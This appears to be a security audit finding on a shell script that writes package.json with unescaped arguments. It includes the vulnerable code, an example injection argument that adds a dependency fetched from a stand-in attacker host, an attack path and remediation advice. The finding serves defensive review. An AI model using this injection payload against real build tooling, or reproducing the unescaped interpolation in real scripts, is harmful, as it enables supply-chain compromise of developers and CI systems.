T09 · Insecure Skill Coding Practices
Error
- Location
- package-json-generator.sh:2
- Finding
- Unescaped Arguments Allow Arbitrary package.json Property Injection<![CDATA[ ## Vulnerability Details **File Location**: `package-json-generator.sh`, lines 2-7 **Vulnerability Type**: JSON injection through unescaped shell arguments **Risk Level**: High ```bash NAME="${1:-my-project}" VERSION="${2:-1.0.0}" cat > package.json << JSON { "name": "$NAME", "version": "$VERSION", ``` ### Technical Analysis The script inserts the user-controlled `NAME` and `VERSION` arguments directly into a JSON document without JSON encoding or input validation. An argument containing quotation marks and JSON syntax can terminate the intended string and inject additional top-level properties. For example, the following project name can add an attacker-selected dependency: ```bash ./package-json-generator.sh \ 'safe", "dependencies":{"evil":"https://attacker.example/payload.tgz"}, "x":"y' ``` The generated manifest would contain attacker-controlled properties similar to: ```json { "name": "safe", "dependencies": { "evil": "https://attacker.example/payload.tgz" }, "x": "y", "version": "1.0.0" } ``` Although the generator does not itself invoke `npm install`, a subsequent package installation can retrieve the injected package. If installation scripts are enabled, lifecycle scripts shipped by that dependency may execute with the privileges of the user or automation account running npm. The same flaw also permits injection of other package configuration, corruption of the generated manifest, or alteration of scripts and metadata. ### Attack Path 1. An attacker controls or influences the name or version passed to the generator, such as through copied setup instructions, CI parameters, or another wrapper script. 2. The attacker supplies a value containing a closing quotation mark and additional JSON properties. 3. The generator embeds the value verbatim into `package.json`. 4. The resulting file contains attacker-selected dependencies, scripts, or configuration. 5. A developer or CI process subsequently executes `npm insta ...[truncated 824 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions - Generate the manifest with a JSON-aware implementation rather than string interpolation. For example, use Node.js and `JSON.stringify()` or use `jq --arg` so all values are correctly escaped. - Validate package names against npm naming requirements before generating the file. - Validate versions with a semantic-version parser and reject invalid values. - Reject embedded control characters, quotation marks, line breaks, and unexpected JSON syntax if strict validation is used in addition to safe serialization. - Treat all command-line arguments as untrusted, including values supplied by CI jobs or wrapper scripts. - Add tests using quotation marks, backslashes, line breaks, Unicode characters, and attempted property-injection payloads. - Consider disabling dependency lifecycle scripts in sensitive CI installation stages with `npm install --ignore-scripts` where compatible, although this is defense in depth and does not replace safe JSON generation. ]]>
